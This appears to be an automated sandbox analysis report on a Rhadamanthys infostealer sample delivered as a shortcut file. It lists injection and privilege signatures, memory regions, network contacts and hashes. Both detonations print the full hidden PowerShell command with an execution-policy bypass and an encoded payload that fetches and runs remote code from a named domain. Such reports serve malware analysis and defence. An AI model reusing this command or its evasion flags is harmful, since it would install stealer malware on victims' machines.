Analysis Overview
SHA256
3b9db9baa7abb0f6648f2ee6147486a9432e4c635d47a4b8e0202fb922106aef
Threat Level: Known bad
The file 3b9db9baa7abb0f6648f2ee6147486a9432e4c635d47a4b8e0202fb922106aef.zip was found to be: Known bad.
Malicious Activity Summary
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
Blocklisted process makes network request
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-06 01:11
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-06 01:11
Reported
2024-04-06 01:14
Platform
win7-20240221-en
Max time kernel
120s
Max time network
123s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2376 wrote to memory of 2548 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2376 wrote to memory of 2548 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2376 wrote to memory of 2548 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
Network
Files
memory/2548-38-0x000000001B280000-0x000000001B562000-memory.dmp
memory/2548-40-0x0000000001E50000-0x0000000001E58000-memory.dmp
memory/2548-39-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp
memory/2548-41-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2548-42-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2548-43-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2548-44-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp
memory/2548-45-0x00000000028A0000-0x0000000002920000-memory.dmp
memory/2548-46-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-06 01:11
Reported
2024-04-06 01:14
Platform
win10v2004-20240226-en
Max time kernel
146s
Max time network
152s
Command Line
Signatures
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 2972 created 2520 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\sihost.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2824 wrote to memory of 2972 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2824 wrote to memory of 2972 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2972 wrote to memory of 1440 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 2972 wrote to memory of 1440 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 2972 wrote to memory of 1440 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 2972 wrote to memory of 1440 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
Processes
C:\Windows\system32\sihost.exe
sihost.exe
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
C:\Windows\system32\dialer.exe
"C:\Windows\system32\dialer.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | imanikuu.com | udp |
| US | 64.20.41.122:443 | imanikuu.com | tcp |
| US | 8.8.8.8:53 | 122.41.20.64.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 150.1.37.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.204.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 24.73.42.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f5d5nzg5.nxy.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2972-11-0x00000278625F0000-0x0000027862612000-memory.dmp
memory/2972-12-0x00007FFDFBC10000-0x00007FFDFC6D1000-memory.dmp
memory/2972-13-0x0000027862370000-0x0000027862380000-memory.dmp
memory/2972-14-0x0000027862370000-0x0000027862380000-memory.dmp
memory/2972-15-0x0000027862370000-0x0000027862380000-memory.dmp
memory/2972-16-0x00000278629A0000-0x00000278629FE000-memory.dmp
memory/2972-17-0x0000027862350000-0x0000027862360000-memory.dmp
memory/2972-18-0x0000027862350000-0x0000027862360000-memory.dmp
memory/2972-19-0x0000027862A00000-0x0000027862E00000-memory.dmp
memory/2972-20-0x0000027862A00000-0x0000027862E00000-memory.dmp
memory/2972-21-0x0000027862A00000-0x0000027862E00000-memory.dmp
memory/2972-22-0x00007FFE19DB0000-0x00007FFE19FA5000-memory.dmp
memory/2972-24-0x0000027862A00000-0x0000027862E00000-memory.dmp
memory/2972-23-0x00007FFE19030000-0x00007FFE190EE000-memory.dmp
memory/2972-25-0x00007FFE17950000-0x00007FFE17C19000-memory.dmp
memory/1440-26-0x00000184B4810000-0x00000184B4819000-memory.dmp
memory/1440-31-0x00000184B62F0000-0x00000184B66F0000-memory.dmp
memory/1440-32-0x00007FFE19DB0000-0x00007FFE19FA5000-memory.dmp
memory/1440-35-0x00007FFE19030000-0x00007FFE190EE000-memory.dmp
memory/2972-33-0x00007FFDFBC10000-0x00007FFDFC6D1000-memory.dmp
memory/1440-34-0x00000184B62F0000-0x00000184B66F0000-memory.dmp
memory/1440-37-0x00007FFE17950000-0x00007FFE17C19000-memory.dmp
memory/2972-36-0x0000027862A00000-0x0000027862E00000-memory.dmp
memory/1440-38-0x00000184B62F0000-0x00000184B66F0000-memory.dmp